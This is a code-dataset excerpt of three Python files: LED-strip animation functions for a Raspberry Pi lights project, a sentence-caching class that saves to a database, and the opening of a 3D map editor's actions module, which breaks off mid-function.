3, 0)\n elif pos < 170:\n pos -= 85\n return Color(255 - pos * 3, 0, pos * 3)\n else:\n pos -= 170\n return Color(0, pos * 3, 255 - pos * 3)\n\ndef rainbow(strip, wait_ms=20, iterations=1):\n \"\"\"Draw rainbow that fades across all pixels at once.\"\"\"\n for j in range(256*iterations):\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, wheel((i+j) & 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef rainbowCycle(strip, wait_ms=20, iterations=5):\n \"\"\"Draw rainbow that uniformly distributes itself across all pixels.\"\"\"\n for j in range(256*iterations):\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, wheel((int(i * 256 / strip.numPixels()) + j) & 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef theaterChaseRainbow(strip, wait_ms=50):\n \"\"\"Rainbow movie theater light style chaser animation.\"\"\"\n for j in range(256):\n for q in range(3):\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+q, wheel((i+j) % 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+q, 0)\n\n# SadKat1 Functions\ndef sadKat1(strip, wait_ms=20, iterations=1):\n for i in range(256*iterations):\n for j in range(strip.numPixels()):\n strip.setPixelColor(j, bluePurpleWheel((i + j) & 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef bluePurpleWheel(pos):\n \"\"\"Generate Blue and Purple colors across 0-255 positions.\"\"\"\n if pos < 85:\n return Color(100-pos, 0, 255-pos*3) #No blue -- now no red\n elif pos < 170:\n pos -= 85\n return Color(0, 0, 255 - pos * 3) #No red\n else:\n pos -= 170\n return Color(0, 100-pos, 255-pos*3) #No green\n\n# Twinkle function(s)\ndef twinkleTest(strip, onlyOne, count, wait_ms=50):\n turnOff(strip)\n for i in range(count):\n strip.setPixelColor(randint(0, strip.numPixels()), Color(170, 180, 30))\n strip.show()\n time.sleep(wait_ms/250.0)\n if (onlyOne):\n turnOff(strip)\n time.sleep(wait_ms/500.0)\n\ndef tfadeIn(strip, pixel, wait_ms=50):\n for i in range(210):\n strip.setPixelColor(pixel, Color(i/2, i, 0))\n strip.show()\n\ndef tfadeOut(strip, pixel, wait_ms=50):\n for i in reversed(range(210)):\n strip.setPixelColor(pixel, Color(i/2, i, 0))\n strip.show()\n\ndef trandomLight(strip, wait_ms=50):\n pixel = randint(0, strip.numPixels())\n tfadeIn(strip, pixel)\n tfadeOut(strip, pixel)\n\n# Turn off function\ndef turnOff(strip):\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, Color(0,0,0))\n strip.show()\n\n# Fire functions\ndef Fire(strip, cooling, sparking, wait_ms=50):\n heat = [0] * strip.numPixels()\n for i in range(strip.numPixels()):\n cooldown = randint(0, ((cooling * 10)/strip.numPixels()) +2)\n if (cooldown > heat[i]):\n heat[i] = 0\n else:\n heat[i] = heat[i] - cooldown\n # Step 2: Heat from every cell drifts 'up' and diffuses a little\n for k in reversed(range(2, strip.numPixels() - 1)):\n heat[k] = (heat[k-1] + heat[k-2] + heat[k-2])/3\n # Step 3: Randomly ignite new 'sparks' near the bottom\n if (randint(0, 255) < sparking):\n y = randint(0,7)\n heat[y] = heat[y] + randint(160, 255)\n # Step 4: Convert heat to LED colors\n for j in range(strip.numPixels()):\n setPixelHeatColor(strip, j, heat[j])\n strip.show()\n time.sleep(0.03)\n\ndef setPixelHeatColor(strip, pixel, temperature):\n t192 = round((temperature/255.0)*191)\n heatramp = int(t192) & 0x3F\n heatramp <<= 2\n\n # Figure out which third of the spectrum we're in\n if (t192 > 0x80): # Hottest\n strip.setPixelColor(pixel, Color(255, 255, heatramp))\n elif (t192 > 0x40): # Middle\n strip.setPixelColor(pixel, Color(heatramp, 255, 0))\n else: # Coolest\n strip.setPixelColor(pixel, Color(0, heatramp, 0))\n\n# Fourth Flash functions & americanDad\ndef fourthChase(strip, wait_ms=50):\n # RW&B Chase\n for i in range(3):\n for j in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i+j, Color(0, 255, 0))\n for k in range(1, strip.numPixels(), 3):\n strip.setPixelColor(i+k, Color(127, 127, 127))\n for l in range(2, strip.numPixels(), 3):\n strip.setPixelColor(i+l, Color(0, 0, 255))\n strip.show()\n time.sleep(wait_ms/100.0)\n if (i == 0):\n strip.setPixelColor(i, Color(0, 0, 255))\n strip.show()\n if (i == 1):\n strip.setPixelColor(i-1, Color(127, 127, 127))\n strip.setPixelColor(i, Color(0, 0, 255))\n strip.show()\n\ndef oneLightRWB(strip, color, lightRange, wait_ms=50):\n for i in range(lightRange):\n strip.setPixelColor(i, color)\n strip.show()\n strip.setPixelColor(i, Color(0,0,0))\n# time.sleep(wait_ms/500000.0)\n strip.setPixelColor(lightRange-1, color)\n\ndef oneLightClear(strip, color, lightRange, wait_ms=50):\n for i in reversed(range(lightRange)):\n strip.setPixelColor(i, color)\n strip.show()\n strip.setPixelColor(i, Color(0,0,0))\n # time.sleep(wait_ms/500000.0)\n\n# Kat Idea 1 functions\ndef katColors(strip, color, start, wait_ms=50):\n for i in range(start, strip.numPixels(), 2):\n strip.setPixelColor(i, color)\n strip.show()\n\ndef twoColors(strip, color, color2, wait_ms=50):\n for i in range(0, strip.numPixels(), 2):\n strip.setPixelColor(i, color)\n for j in range(1, strip.numPixels(), 2):\n strip.setPixelColor(j, color2)\n strip.show()\n time.sleep(wait_ms/10.0)\n\ndef oneColorFlash(strip, color, start, wait_ms=50, iterations=5):\n if (start == 0):\n katColors(strip, Color(0,0,0), start+1)\n katColors(strip, color, start)\n time.sleep(wait_ms/50.0)\n katColors(strip, Color(0,0,0), start)\n time.sleep(wait_ms/50.0)\n if (start == 1):\n katColors(strip, Color(0,0,0), start-1)\n katColors(strip, color, start)\n time.sleep(wait_ms/50.0)\n katColors(strip, Color(0,0,0), start)\n time.sleep(wait_ms/50.0)\n\n# One Light Through & Loop\ndef oneLight(strip, wait_ms=50):\n for j in range(0, strip.numPixels()):\n strip.setPixelColor(j, Color(vars.green, vars.red, vars.blue))\n strip.show()\n strip.setPixelColor(j, Color(0,0,0))\n time.sleep(wait_ms/1000.0)\n\ndef oneLightBack(strip, wait_ms=50):\n for k in reversed(range(0, strip.numPixels())):\n strip.setPixelColor(k, Color(vars.green, vars.red, vars.blue))\n strip.show()\n strip.setPixelColor(k, Color(0,0,0))\n time.sleep(wait_ms/1000.0)\n\n# Meteor functions\ndef meteorRain(strip, green, red, blue, meteorSize, meteorTrailDecay, meteorRandomDecay, wait_ms=50):\n setAll(strip, Color(0,0,0))\n for i in range(strip.numPixels() + (strip.numPixels()/2)):\n # Fade brightness all LEDs one step\n for j in range(strip.numPixels()):\n if ((not meteorRandomDecay) or (randint(0,10) > 5)):\n fadeToBlack(strip, j, meteorTrailDecay)\n # Draw Meteor\n for j in range(meteorSize):\n if ((i-j < strip.numPixels()) and (i-j >= 0)):\n strip.setPixelColor(i-j, Color(green, red, blue))\n strip.show()\n time.sleep(wait_ms/1250.0)\n\ndef fadeToBlack(strip, ledNo, fadeValue):\n oldColor = strip.getPixelColor(ledNo)\n r = (oldColor & 0x00ff0000) >> 16\n g = (oldColor & 0x0000ff00) >> 8\n b = (oldColor & 0x000000ff)\n if (r <= 10):\n r-(r*fadeValue/256)\n else:\n r = 0\n if (g <= 10):\n g-(g*fadeValue/256)\n else:\n g = 0\n if (b <= 10):\n b-(b*fadeValue/256)\n else:\n b = 0\n strip.setPixelColor(ledNo, Color(g,r,b))\n\n# Sparkle function\ndef sparkle(strip, green, red, blue, wait_ms=50):\n pixel = randint(0, strip.numPixels())\n strip.setPixelColor(pixel, Color(green, red, blue))\n strip.show()\n time.sleep(wait_ms/500)\n strip.setPixelColor(pixel, Color(0,0,0))\n\n# Cylon function\ndef cylon(strip, red, green, blue, eyeSize, upRange, downRange, speedDelay=50, returnDelay=50):\n for i in range(downRange, upRange-eyeSize-2):\n #turnOff(strip)\n turnOffPart(strip, downRange, upRange)\n\n strip.setPixelColor(i, Color(green/10, red/10, blue/10))\n for j in range(eyeSize+1):\n strip.setPixelColor(i+j, Color(green, red, blue))\n strip.setPixelColor(i+eyeSize+1, Color(green/10, red/10, blue/10))\n strip.show()\n time.sleep(speedDelay/10000.0)\n time.sleep(returnDelay/5000.0)\n for k in reversed(range(downRange, upRange-eyeSize-2)):\n #turnOff(strip)\n turnOffPart(strip, downRange, upRange)\n\n strip.setPixelColor(k, Color(green/10, red/10, blue/10))\n for m in range(eyeSize+1):\n strip.setPixelColor(k+m, Color(green, red, blue))\n strip.setPixelColor(k+eyeSize+1, Color(green/10, red/10, blue/10))\n strip.show()\n time.sleep(speedDelay/10000.0)\n time.sleep(returnDelay/5000.0)\n\n# Running Lights Function\ndef runningLights(strip):\n position = 0\n for j in range(strip.numPixels() + 20):\n position += 1\n for i in range(strip.numPixels()):\n # Sine wave 3 offset waves make a rainbow\n strip.setPixelColor(i, Color(int(((math.sin(i+position) * 127 + 128)/255)*vars.green), int(((math.sin(i+position) * 127 + 128)/255)*vars.red), int(((math.sin(i+position) * 127 + 128)/255)*vars.blue)))\n strip.show()\n time.sleep(vars.delay/1000.0)\n\n# Turns strip a random color\ndef randomColor(strip):\n setAll(strip, Color(randint(0, 255), randint(0, 255), randint(0, 255)))\n\n# Flashes GRB color on strip\ndef RGBFlash(strip):\n for i in range(3):\n if i == 0:\n setAll(strip, Color(255, 0, 0))\n time.sleep(vars.delay/50.0)\n elif i == 1:\n setAll(strip, Color(0, 255, 0))\n time.sleep(vars.delay/50.0)\n else:\n setAll(strip, Color(0, 0, 255))\n time.sleep(vars.delay/50.0)\n\ndef knockoffCylon(strip, red, green, blue, eyeSize, upRange, downRange, speedDelay=50, returnDelay=50):\n for i in range(downRange, upRange-eyeSize-2):\n strip.setPixelColor(i, Color(green/10, red/10, blue/10))\n for j in range(eyeSize+1):\n strip.setPixelColor(i+j, Color(green, red, blue))\n strip.setPixelColor(i+eyeSize+1, Color(green/10, red/10, blue/10))\n strip.show()\n time.sleep(speedDelay/10000.0)\n time.sleep(returnDelay/5000.0)\n for k in reversed(range(downRange, upRange-eyeSize-2)):\n strip.setPixelColor(k, Color(green/10, red/10, blue/10))\n for m in range(eyeSize+1):\n strip.setPixelColor(k+m, Color(green, red, blue))\n strip.setPixelColor(k+eyeSize+1, Color(green/10, red/10, blue/10))\n strip.show()\n time.sleep(speedDelay/10000.0)\n time.sleep(returnDelay/5000.0)\n\ndef redWave(strip, wait_ms=20, iterations=1):\n for i in range(256*iterations):\n for j in range(strip.numPixels()):\n strip.setPixelColor(j, redYellowWheel((i + j) & 255))\n strip.show()\n time.sleep(wait_ms/1000.0)\n\ndef redYellowWheel(pos):\n \"\"\"Generate Red and Yellow colors across 0-255 positions.\"\"\"\n if pos < 85:\n return Color(70-(pos-15), 255 - pos * 3, 0) #Yellow\n elif pos < 170:\n pos -= 85\n return Color(0, 255 - pos * 3, 0) #Red\n else:\n pos -= 170\n return Color((255-pos*3)/5, 255-pos*3, 0) #Orange\n\ndef christmas1(strip):\n for i in range(0, strip.numPixels(), 20):\n j = i\n while j < (i+10):\n strip.setPixelColor(j, Color(200, 0, 0))\n j+=1\n while j >= (i+10) and j < (i+20):\n strip.setPixelColor(j, Color(0, 200, 0))\n j+=1\n strip.show()\n\ndef randTwinkle(strip):\n green = [255, 0, 0, 125, 210, 0, 0, 150, 220, 0, 0, 0]\n red = [0, 255, 0, 255, 250, 250, 150, 0, 0, 0, 0, 0]\n blue = [0, 0, 255, 0, 0, 150, 150, 200, 150, 0, 0, 0]\n rands = [0] * strip.numPixels()\n currentgreen = [0] * strip.numPixels()\n currentred = [0] * strip.numPixels()\n currentblue = [0] * strip.numPixels()\n for k in range(strip.numPixels()):\n rands[k] = randint(0,11)\n strip.setPixelColor(k, Color(green[rands[k]], red[rands[k]], blue[rands[k]]))\n currentgreen[k] = green[rands[k]]\n currentred[k] = red[rands[k]]\n currentblue[k] = blue[rands[k]]\n strip.show()\n for j in range(strip.numPixels()):\n for i in range(strip.numPixels()):\n if currentgreen[i] < green[rands[i]]:\n currentgreen[i] += 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if currentred[i] < red[rands[i]]:\n currentred[i] += 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if currentblue[i] < blue[rands[i]]:\n currentblue[i] += 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if currentgreen[i] == green[rands[i]] and currentred[i] == red[rands[i]] and currentblue[i] == blue[rands[i]]:\n if green[rands[i]] != 0:\n currentgreen[i] -= 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if red[rands[i]] != 0:\n currentred[i] -= 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n if blue[rands[i]] != 0:\n currentblue[i] -= 1\n strip.setPixelColor(i, Color(currentgreen[i], currentred[i], currentblue[i]))\n\n strip.show()\n\ndef eachRandom(strip):\n \"\"\"Set each pixel in the strip to a rand color\"\"\"\n for i in range(0, strip.numPixels(), 3):\n strip.setPixelColor(i, Color(randint(0,255), randint(0,255), randint(0,255)))\n strip.show()\n\n# Strobe function\ndef strobe(strip):\n setAll(strip, Color(vars.green, vars.red, vars.blue))\n time.sleep(vars.delay/75.0)\n setAll(strip, Color(0,0,0))\n time.sleep(vars.delay/75.0)\n\ndef pulse(strip):\n for i in range(10, 255):\n strip.setBrightness(i)\n strip.show()\n time.sleep(vars.delay/5000.0)\n for j in reversed(range(10, 255)):\n strip.setBrightness(j)\n strip.show()\n time.sleep(vars.delay/5000.0)\n\ndef sineTwinkle(strip):\n green = [0] * strip.numPixels()\n red = [0] * strip.numPixels()\n blue = [0] * strip.numPixels()\n for j in range(strip.numPixels()):\n green[j] = randint(0,255)\n red[j] = randint(0,255)\n blue[j] = randint(0,255)\n for i in range(strip.numPixels()):\n strip.setPixelColor(i, Color(int(((math.sin(i) * 127 + 128)/255)*green[i]), int(((math.sin(i) * 127 + 128)/255)*red[i]), int(((math.sin(i) * 127 + 128)/255)*blue[i])))\n strip.show()\n time.sleep(vars.delay/150.0)\n\n\n#HAVE: StrandTest, SadKat1, FourthChase\n# Fire, Off, Twinkle, katIdea1, oneLightLoop, oneLightThru\n# rainbow, meteor, sparkle, americanDad\n","repo_name":"jomens235/RPI_Lights","sub_path":"sequences.py","file_name":"sequences.py","file_ext":"py","file_size_in_byte":16623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7342026127","text":"from repo import insert\n\nclass SentenceStore:\n \"\"\" the tool class to index sentences && to save to db when the storing cache reaches maximum\"\"\"\n def __init__(self, corpus_id):\n self.corpus_id = corpus_id\n self.sentence_cache = {}\n self.current_doc_id = 0\n self.sentence_index = 0\n self.counter = 0\n self.max_cache = 20\n\n def push(self, sentence):\n self.sentence_cache[str(self.sentence_index)] = sentence\n self.sentence_index = self.sentence_index + 1\n self.counter = self.counter + 1\n if self.counter == self.max_cache:\n insert_doc = {}\n insert_doc[\"_id\"] = self.corpus_id + '#' + str(self.current_doc_id)\n insert_doc[\"max_index\"] = self.sentence_index - 1\n insert_doc[\"content\"] = self.sentence_cache\n # insert to db\n insert(\"raw_sentences\", insert_doc)\n # update the param\n self.current_doc_id = self.current_doc_id + 1\n self.sentence_cache = {}\n self.counter = 0\n\n\n def get_current_sentence_index(self):\n return self.sentence_index - 1\n\n\n def close(self):\n if len(self.sentence_cache.keys()) > 0:\n insert_doc = {}\n insert_doc[\"_id\"] = self.corpus_id + '#' + str(self.current_doc_id)\n insert_doc[\"max_index\"] = self.sentence_index - 1\n insert_doc[\"content\"] = self.sentence_cache\n # insert to db\n insert(\"raw_sentences\", insert_doc)\n\n print(\"[INFO] the sentence store has been closed.\")\n","repo_name":"Tann-chen/nlp-theme-mining","sub_path":"model/sentence_store.py","file_name":"sentence_store.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22234366375","text":"__author__ = \"jacobvanthoog\"\n\nimport math\n\nfrom threelib.edit.state import *\nfrom threelib.vectorMath import Vector\nfrom threelib.vectorMath import Rotate\nimport threelib.vectorMath as vectorMath\nfrom threelib.edit.objects import *\nfrom threelib.edit.adjust import *\nfrom threelib.materials import MaterialReference\nfrom threelib.edit.modelFile.load import loadModel\n\nfrom threelib import files\n\nclass EditorActions:\n\n X = 0\n Y = 1\n Z = 2\n\n DIFFERENT_PROPERTIES_STRING = \"!DIFFERENT!\"\n\n ROTATE_GRID_SIZES = [5.0, 10.0, 15.0, 20.0, 30.0, 40.0, 45.0]\n\n def __init__(self, mapPath, state=None):\n if state is None:\n self.state = EditorState()\n else:\n self.state = state\n self.mapPath = mapPath\n\n self.movingCamera = False\n self.lookSpeed = .005\n self.flySpeed = 128.0\n self.fly = Vector(0, 0, 0) # each component can be 0, 1, or -1\n\n # clip arrow\n self.arrowShown = False\n self.arrowStart = Vector(0, 0, 0)\n self.arrowEnd = Vector(0, 0, 0)\n\n # adjust mode\n self.inAdjustMode = False\n self.adjustor = None\n self.adjustorOriginalValue = (0.0, 0.0, 0.0)\n self.selectedAxes = (EditorActions.X, EditorActions.Y)\n self.adjustMouseMovement = (0, 0) # in snap mode\n self.adjustMouseGrid = 64 # number of pixels per grid line\n self.adjustCompleteAction = None # function that is run after completion\n\n # flags\n self.selectAtCursorOnDraw = False\n self.selectMultiple = False\n self.selectBehindSelection = False\n\n\n def escape(self):\n self.movingCamera = False\n self.fly = Vector(0, 0, 0)\n self.editorMain.unlockMouse()\n if self.inAdjustMode:\n self.adjustor.setAxes(self.adjustorOriginalValue)\n self.adjustor.cancel()\n self.inAdjustMode = False\n self.adjustor = None\n\n def saveFile(self):\n print(\"Saving map... \", end=\"\")\n files.saveMapState(self.mapPath, self.state)\n print(\"Done\")\n\n def editPropertiesOfSelected(self):\n if not self.state.selectMode == EditorState.SELECT_OBJECTS:\n print(\"Only objects have properties\")\n elif len(self.state.selectedObjects) == 0:\n print(\"Edit world properties\")\n props = self.state.worldObject.getProperties()\n self.makePropsFile(props)\n else:\n print(\"Edit object properties\")\n combinedProps = { }\n for o in self.state.selectedObjects:\n for key, value in o.getProperties().items():\n if key not in combinedProps:\n combinedProps[key] = value\n elif combinedProps[key] != value:\n combinedProps[key] = \\\n EditorActions.DIFFERENT_PROPERTIES_STRING\n self.makePropsFile(combinedProps)\n\n def makePropsFile(self, props):\n text = \"\"\n for key, value in sorted(props.items()):\n multiLine = '\\n' in value\n if multiLine:\n text += key + \":\\n\" + value + \"\\n~~~\\n\"\n else:\n text += key + \"=\" + value + \"\\n\"\n files.openProperties(text)\n\n def updateSelected(self):\n if not self.state.selectMode == EditorState.SELECT_OBJECTS:\n print(\"Only objects can be updated\")\n elif len(self.state.selectedObjects) == 0:\n print(\"Update world properties\")\n props = self.readPropsFile()\n if props is not None:\n self.state.worldObject.setProperties(props)\n else:\n print(\"Update object properties\")\n props = self.readPropsFile()\n if props is not None:\n differentKeys = [ ]\n for key, value in props.items():\n if value == EditorActions.DIFFERENT_PROPERTIES_STRING:\n differentKeys.append(key)\n for key in differentKeys:\n del props[key]\n for o in self.state.selectedObjects:\n o.setProperties(props)\n\n def readPropsFile(self):\n text = files.readProperties()\n props = { }\n inMultiLine = False\n multiLineKey = \"\"\n multiLineValue = \"\"\n for line in text.splitlines():\n if not inMultiLine:\n line = line.strip()\n if line == '':\n pass\n elif '=' in line:\n splitPoint = line.index('=')\n key = line[:splitPoint]\n value = line[splitPoint+1:]\n props[key] = value\n elif line.endswith(':'):\n inMultiLine = True\n multiLineKey = line[:-1]\n multiLineValue = \"\"\n else:\n print(\"Could not parse line:\")\n print(line)\n print(\"Stopping\")\n return\n else: # in multi line\n if line == \"~~~\":\n if len(multiLineValue) > 0:\n # delete the last line break\n multiLineValue = multiLineValue[:-1]\n inMultiLine = False\n props[multiLineKey] = multiLineValue\n else:\n multiLineValue += line + \"\\n\"\n if inMultiLine:\n print(\"Unclosed multi-line value!\")\n print(\"Stopping\")\n return None\n return props\n\n def deleteSelected(self):\n if not self.state.selectMode == EditorState.SELECT_OBJECTS:\n print(\"Only objects can be deleted\")\n elif len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n else:\n print(\"Delete object(s)\")\n for o in self.state.selectedObjects:\n o.removeFromParent()\n self.state.objects.remove(o)\n if o.getMesh() is not None:\n o.getMesh().removeMaterials()\n self.state.deselectAll()\n self.state.world.removeUnusedMaterials()\n\n def duplicateSelected(self):\n if not self.state.selectMode == EditorState.SELECT_OBJECTS:\n print(\"Only objects can be duplicated\")\n elif len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n else:\n print(\"Duplicate object(s)\")\n clones = [ ]\n for o in self.state.selectedObjects:\n clone = o.clone()\n clones.append(clone)\n self.state.objects.append(clone)\n self.state.deselectAll()\n for clone in clones:\n self.state.select(clone)\n\n self.translateSelected()\n\n\n def selectMode(self, mode):\n prevMode = self.state.selectMode\n self.state.selectMode = mode\n\n if prevMode == mode:\n pass\n elif prevMode == EditorState.SELECT_OBJECTS \\\n and mode == EditorState.SELECT_FACES:\n self.state.selectedFaces = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n for f in o.getMesh().getFaces():\n self.state.selectedFaces.append(\n FaceSelection(o, f))\n self.state.deselectAll()\n self.state.selectedVertices = [ ]\n elif prevMode == EditorState.SELECT_OBJECTS \\\n and mode == EditorState.SELECT_VERTICES:\n self.state.selectedVertices = [ ]\n for o in self.state.selectedObjects:\n if o.getMesh() is not None:\n for v in o.getMesh().getVertices():\n self.state.selectedVertices.append(\n VertexSelection(o, v))\n self.state.deselectAll()\n self.state.selectedFaces = [ ]\n elif prevMode == EditorState.SELECT_FACES \\\n and mode == EditorState.SELECT_OBJECTS:\n self.state.deselectAll()\n for f in self.state.selectedFaces:\n if f.editorObject not in self.state.selectedObjects:\n self.state.select(f.editorObject)\n self.state.selectedFaces = [ ]\n self.state.selectedVertices = [ ]\n elif prevMode == EditorState.SELECT_FACES \\\n and mode == EditorState.SELECT_VERTICES:\n self.state.selectedVertices = [ ]\n selectedVertices = [ ]\n for f in self.state.selectedFaces:\n for v in f.face.getVertices():\n if v.vertex not in selectedVertices:\n self.state.selectedVertices.append(\n VertexSelection(f.editorObject, v.vertex))\n selectedVertices.append(v.vertex)\n self.state.selectedFaces = [ ]\n self.state.deselectAll()\n elif prevMode == EditorState.SELECT_VERTICES \\\n and mode == EditorState.SELECT_OBJECTS:\n self.state.deselectAll()\n for v in self.state.selectedVertices:\n if v.editorObject not in self.state.selectedObjects:\n self.state.select(v.editorObject)\n self.state.selectedVertices = [ ]\n self.state.selectedFaces = [ ]\n else: # including vertices -> faces\n self.state.deselectAll()\n self.state.selectedVertices = [ ]\n self.state.selectedFaces = [ ]\n\n\n def createBox(self):\n print(\"Create box\")\n box = SolidMeshObject(self.state.translateGridSize)\n self.createObject(box)\n\n def createPoint(self):\n print(\"Create point\")\n point = ScriptPointObject()\n self.createObject(point)\n\n def createDirectionalLight(self):\n print(\"Create directional light\")\n light = DirectionalLightObject()\n self.createObject(light)\n\n def createPositionalLight(self):\n print(\"Create positional light\")\n light = PositionalLightObject()\n self.createObject(light)\n\n def createSpotLight(self):\n print(\"Create spot light\")\n light = SpotLightObject()\n self.createObject(light)\n\n def importMesh(self, name):\n print(\"Import mesh\", name)\n meshPath = files.getMesh(name)\n if meshPath is None:\n print(\"Could not find mesh\", name)\n return\n mesh = loadModel(meshPath)\n if mesh is None:\n print(\"Could not load mesh\", name)\n return\n\n newMaterials = [ ]\n for face in mesh.getFaces():\n mat = face.getMaterial()\n if not mat in newMaterials:\n newMaterials.append(mat)\n if not mat in self.state.world.materials:\n foundMaterial = self.state.world.findMaterial(mat.getName())\n if foundMaterial is not None:\n face.setMaterial(foundMaterial)\n else:\n self.state.world.addMaterial(mat)\n print(len(newMaterials), \"materials for this mesh:\")\n for mat in newMaterials:\n print(mat.getName())\n\n solidMesh = SolidMeshObject()\n solidMesh.setMesh(mesh)\n self.createObject(solidMesh)\n\n\n def importMap(self, name):\n print(\"Import map\", name)\n mapPath = files.getMap(name, createIfNotFound=False)\n if mapPath is None:\n print(\"Could not find map\", name)\n map = files.loadMapState(mapPath)\n if map is None:\n print(\"Could not load map\", name)\n return\n\n for o in map.objects:\n if o.getMesh() is None:\n continue\n for face in o.getMesh().getFaces():\n mat = face.getMaterial()\n if not mat in self.state.world.materials:\n foundMaterial = self.state.world.findMaterial(mat.getName())\n if foundMaterial is not None:\n face.setMaterial(foundMaterial)\n else:\n self.state.world.addMaterial(mat)\n\n self.createObjects(map.objects)\n\n\n def createObject(self, newObject):\n self.createObjects([newObject], keepPositionOffset=False)\n\n def createObjects(self, newObjects, keepPositionOffset=True):\n if len(newObjects) == 0:\n return\n\n self.selectMode(EditorState.SELECT_OBJECTS)\n self.state.deselectAll()\n if keepPositionOffset:\n for o in newObjects:\n o.setPosition(o.getPosition() + self.state.createPosition)\n else:\n for o in newObjects:\n o.setPosition(self.state.createPosition)\n self.state.objects += newObjects\n for o in newObjects:\n self.state.select(o)\n if len(newObjects) == 1:\n self.setupAdjustMode(TranslateAdjustor(newObjects[0]))\n else:\n adjustors = [TranslateAdjustor(o) for o in newObjects]\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n\n def setCreatePosition():\n self.state.createPosition = \\\n Vector.fromTuple(self.adjustor.getAxes())\n self.adjustCompleteAction = setCreatePosition\n\n def setParent(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) > 1:\n print(\"Set parent for\", len(self.state.selectedObjects) - 1,\n \"objects\")\n parent = self.state.selectedObjects[-1]\n for child in self.state.selectedObjects[:-1]:\n parent.addChild(child)\n else:\n print(\"At least 2 objects must be selected\")\n\n def clearParent(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) > 0:\n print(\"Clear parent for\", len(self.state.selectedObjects),\n \"objects\")\n for child in self.state.selectedObjects:\n child.removeFromParent()\n else:\n print(\"Objects must be selected\")\n\n def selectParent(self, addToSelection=False):\n if self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) > 0:\n objectsToSelect = [ ]\n for o in self.state.selectedObjects:\n if o.getParent() is not None:\n if not o.getParent() in objectsToSelect:\n objectsToSelect.append(o.getParent())\n if len(objectsToSelect) == 0:\n print(\"Objects have no parent\")\n return\n if not addToSelection:\n self.state.deselectAll()\n for o in objectsToSelect:\n self.state.select(o)\n else:\n print(\"Objects must be selected\")\n\n def selectChildren(self, addToSelection=False):\n if self.state.selectMode == EditorState.SELECT_OBJECTS and \\\n len(self.state.selectedObjects) > 0:\n objectsToSelect = [ ]\n for o in self.state.selectedObjects:\n for child in o.getChildren():\n if not child in objectsToSelect:\n objectsToSelect.append(child)\n if len(objectsToSelect) == 0:\n print(\"Objects have no children\")\n return\n if not addToSelection:\n self.state.deselectAll()\n for o in objectsToSelect:\n self.state.select(o)\n else:\n print(\"Objects must be selected\")\n\n\n def selectAll(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n self.state.selectAll()\n else:\n self.state.deselectAll()\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n for o in self.state.objects:\n if o.getMesh() is not None:\n for f in o.getMesh().getFaces():\n self.state.selectedFaces.append(\n FaceSelection(o, f))\n else:\n self.state.selectedFaces = [ ]\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n if len(self.state.selectedVertices) == 0:\n for o in self.state.objects:\n if o.getMesh() is not None:\n for v in o.getMesh().getVertices():\n self.state.selectedVertices.append(\n VertexSelection(o, v))\n else:\n self.state.selectedVertices = [ ]\n\n def translateSelected(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n return\n elif len(self.state.selectedObjects) == 1:\n self.setupAdjustMode(TranslateAdjustor(\n self.state.selectedObjects[0]))\n else:\n adjustors = [ ]\n for o in self.state.selectedObjects:\n adjustors.append(TranslateAdjustor(o))\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n elif self.state.selectMode == EditorState.SELECT_VERTICES:\n if len(self.state.selectedVertices) == 0:\n print(\"Nothing selected\")\n return\n elif len(self.state.selectedVertices) == 1:\n selected = self.state.selectedVertices[0]\n self.setupAdjustMode(VertexTranslateAdjustor(\n selected.vertex,\n selected.editorObject))\n else:\n adjustors = [ ]\n for v in self.state.selectedVertices:\n adjustors.append(VertexTranslateAdjustor(\n v.vertex,\n v.editorObject))\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n elif self.state.selectMode == EditorState.SELECT_FACES:\n if len(self.state.selectedFaces) == 0:\n print(\"Nothing selected\")\n return\n else:\n adjustors = [ ]\n for f in self.state.selectedFaces:\n for v in f.face.getVertices():\n adjustors.append(VertexTranslateAdjustor(\n v.vertex,\n f.editorObject))\n self.setupAdjustMode(MultiTranslateAdjustor(adjustors))\n\n def setCreatePosition():\n self.state.createPosition = \\\n Vector.fromTuple(self.adjustor.getAxes())\n self.adjustCompleteAction = setCreatePosition\n\n\n def adjustOriginOfSelected(self):\n if self.state.selectMode == EditorState.SELECT_OBJECTS:\n if len(self.state.selectedObjects) == 0:\n print(\"Nothing selected\")\n return\n elif len(self.state.selectedObjects) == 1:\n self.setupAdjustMode(OriginAdjustor(\n self.state.selectedObjects[0]))\n else:\n adjustors = [ ]\n for o in 